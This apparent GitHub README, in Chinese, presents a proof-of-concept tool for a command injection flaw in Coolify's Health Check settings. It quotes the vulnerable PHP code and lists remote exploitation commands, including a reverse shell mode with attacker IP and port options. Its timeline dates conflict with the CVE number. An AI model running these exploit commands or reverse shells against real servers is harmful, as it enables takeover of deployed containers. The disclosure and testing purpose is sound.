cybertechajju/CVE-2026-59734-POC
GitHub: cybertechajju/CVE-2026-59734-POC
针对 Coolify 平台 Health Check 功能中 OS 命令注入漏洞(CVE-2026-59734)的 PoC 验证与利用工具,支持离线模拟和远程攻击测试。
Stars: 0 | Forks: 0
## 🎯 关于该漏洞
**[Coolify](https://coolify.io)** 是一个流行的开源、自托管部署平台(GitHub 星标超过 3 万)——它是 Heroku、Vercel 和 Netlify 的免费替代品。
在 Coolify 的 Health Check 配置中发现了一个严重的 **OS Command Injection** 漏洞。`health_check_host`、`health_check_method` 和 `health_check_path` 参数被直接插入到 shell 命令中,**没有任何过滤**,允许任何经过身份验证的用户在部署的 container 中执行任意命令。
```
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Type │ OS Command Injection (CWE-78) │
│ Severity │ HIGH — CVSS 8.8 │
│ Attack Vector │ Network (Authenticated) │
│ Affected │ Coolify <= v4.0.0-beta.460 │
│ Fixed In │ Coolify >= v4.0.0-beta.469 │
│ Fix Commit │ 23f9156c7 │
│ Reporter │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
```
🔥 漏洞代码(点击展开)
```
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
```
## 🛠️ 此工具的功能
此 PoC 脚本通过两种模式验证和利用 CVE-2026-59734:
| 模式 | 描述 | 风险 |
|:-----|:------------|:-----|
| `--local` | 离线模拟易受攻击的代码模式。**无网络请求。** 测试所有 3 个可注入参数并验证修复情况。 | ✅ 安全 |
| `--remote` | 通过 API 利用真实的 Coolify 实例。将 payload 注入 Health Check 配置并触发部署。 | ⚠️ 需要身份验证 |
### 功能
- 🧪 **4 项本地测试** — 验证通过 `host`、`method`、`path` 的注入,并确认 `escapeshellarg()` 修复有效
- 🔑 **身份验证** — 在尝试利用之前检查 API token 和权限
- 📋 **版本检测** — 检测 Coolify 版本,如果已被修复则发出警告
- 🎯 **验证 Token** — 使用唯一的 token 防止误报
- 🐚 **Reverse Shell 模式** — 内置 reverse shell payload,使用 `--lhost` / `--lport`
- 🧹 **清理模式** — 利用完成后恢复原始的 Health Check 配置
- 🛡️ **注入验证** — 确认服务器未经过滤地存储了 payload
## ⚡ 快速开始
### 本地验证(安全且离线)
```
git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# 运行安全的本地验证
./coolify_healthcheck_rce_poc.sh --local
```
**预期输出:**
```
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
```
### 远程漏洞利用(仅限授权测试)
```
# 基本 PoC — 在容器内写入验证文件
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# 反弹 shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# 带自动清理(exploit 后恢复原始 config)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
```
## 📋 所有选项
```
Usage:
Local Validation (safe, offline):
./coolify_healthcheck_rce_poc.sh --local
Remote Exploit (requires auth):
./coolify_healthcheck_rce_poc.sh --remote --url
--token --uuid [OPTIONS]
Options:
--url Coolify instance URL (e.g. https://coolify.example.com)
--token API Bearer token
--uuid Target application UUID
--payload Custom injection payload
--lhost Attacker IP for reverse shell
--lport Attacker port for reverse shell (default: 4444)
--cleanup Restore original config after exploit
```
## 🔍 如何获取 API Token 和 App UUID
**API Token:**
1. 登录 Coolify 面板
2. 前往 **Settings → API Tokens**
3. 生成新的 token
**App UUID:**
```
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
```
## 📖 完整文章
我写了一篇详细的博客文章,解释了整个发现、利用过程和经验教训:
🔗 **[我是如何在 Coolify 中发现 OS Command Injection (RCE) 的 — Medium](https://medium.com/@cybertechajju/how-i-found-an-os-command-injection-rce-in-coolify-a93ffce24e74)**
## 🎥 视频演示
在 YouTube 上观看完整的漏洞利用演示:
🔗 **[CVE-2026-59734 — Coolify RCE 演示 — YouTube](https://youtube.com/@cybertechajju)**
## ✅ 时间线
| 日期 | 事件 |
|:-----|:------|
| **2025年1月6日** | 🔍 通过 GitHub Security Advisory 发现并报告 |
| **2025年1月16日** | ✅ Coolify 维护者接受了报告 |
| **2025年2月24日** | 🔬 调查确认 |
| **2025年3月18日** | 🔧 提交修复 ([`23f9156c7`](https://github.com/coollabsio/coolify/commit/23f9156c7)) |
| **2025年4月12日** | 📦 在 v4.0.0-beta.469 版本中发布修复 |
| **2025年7月** | 🏷️ 分配 CVE-2026-59734 并发布安全公告 |
## ⚠️ 法律免责声明
此 PoC 旨在供安全研究员和漏洞赏金猎人测试他们拥有**明确、书面许可**进行审计的系统。严禁对您不拥有的系统进行未经授权的使用,这可能违反地方、州和联邦法律。
作者 (**CyberTechAjju**) 不承担任何责任,也不对因使用此工具而造成的任何滥用或损害负责。
标签:PoC, RCE, 命令注入, 应用安全, 暴力破解